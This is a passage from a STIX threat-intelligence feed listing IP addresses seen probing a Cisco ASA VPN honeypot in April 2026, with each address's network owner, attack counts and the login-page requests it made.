          "first_seen": "2026-04-11T00:45:25.704Z",
          "last_seen": "2026-04-18T00:56:01.994Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4570d9b8-0fd3-4e52-86f7-78bc50f71853",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T00:53:40.314Z",
          "last_seen": "2026-04-25T16:14:37.343Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3f5a6beb-3a05-47e3-b102-c5fb5457e615",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T00:50:06.706Z",
          "last_seen": "2026-04-27T11:09:37.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d58a36d9-90e8-4525-90cd-8e106d321dbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T00:47:12.811Z",
          "last_seen": "2026-04-27T13:19:28.419Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8ed9516f-078c-4419-92e1-08af655e353f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T01:03:55.038Z",
          "last_seen": "2026-04-29T12:03:54.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--8571efba-df2b-4b06-98f2-1957d92927f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.82.189.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T00:54:33.157Z",
          "last_seen": "2026-04-11T00:54:33.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fb991d34-2281-4ca8-81c2-22360a6c407b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T01:01:25.793Z",
          "last_seen": "2026-04-29T21:06:06.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--55868960-60e9-4d43-8647-7181b92fc4a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-11T00:57:47.569Z",
          "last_seen": "2026-04-11T00:57:47.569Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--7cd5aee5-31cb-44cd-864f-c1c3fa0ee996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.81.205.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-11T00:59:39.904Z",
          "last_seen": "2026-04-17T01:01:46.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8b6be031-5f3b-4948-9b39-00f0d256cf40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T02:11:58.387Z",
          "last_seen": "2026-04-27T19:23:26.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--12219fc5-ac01-4c22-b8ad-2498cb999161",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T02:18:06.630Z",
          "last_seen": "2026-04-26T02:04:54.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--05c5086b-c7f0-44c2-8c35-2b25c4781e08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T02:01:49.913Z",
          "last_seen": "2026-04-26T04:11:44.018Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d632f2f0-8cd8-472d-985a-c6fcbee90a14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T01:37:56.213Z",
          "last_seen": "2026-04-25T13:10:42.785Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5105adc8-ea1c-43e6-ab6f-0c1b93920ac7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T02:18:34.700Z",
          "last_seen": "2026-04-28T03:56:55.948Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2adce579-bd52-4e20-83f6-6eff7b8c409c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-11T01:22:32.683Z",
          "last_seen": "2026-04-11T01:22:40.611Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cd735762-2fe9-439e-9a9b-4f96a7335bc5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T01:27:41.130Z",
          "last_seen": "2026-04-23T08:04:10.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5c0bc4ae-e2a2-4aa4-b16f-dcfed6209083",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T02:08:03.295Z",
          "last_seen": "2026-04-29T23:12:47.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--18b5f106-295a-4378-995b-30c0af5c0c5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T01:37:57.534Z",
          "last_seen": "2026-04-27T21:47:29.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--215b9fbd-0e23-4769-9637-1f5e3eda21ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T01:25:53.424Z",
          "last_seen": "2026-04-29T06:45:42.717Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--45ad1f04-ff68-43ad-a920-3469e8932009",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T01:53:01.084Z",
          "last_seen": "2026-04-24T17:27:02.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5f49dee4-930b-46a3-b1f0-23c53a61517c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:20:13.000Z",
      "valid_until": "2026-05-13T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T02:12:45.105Z",
          "last_seen": "2026-04-29T16:53:05.387Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
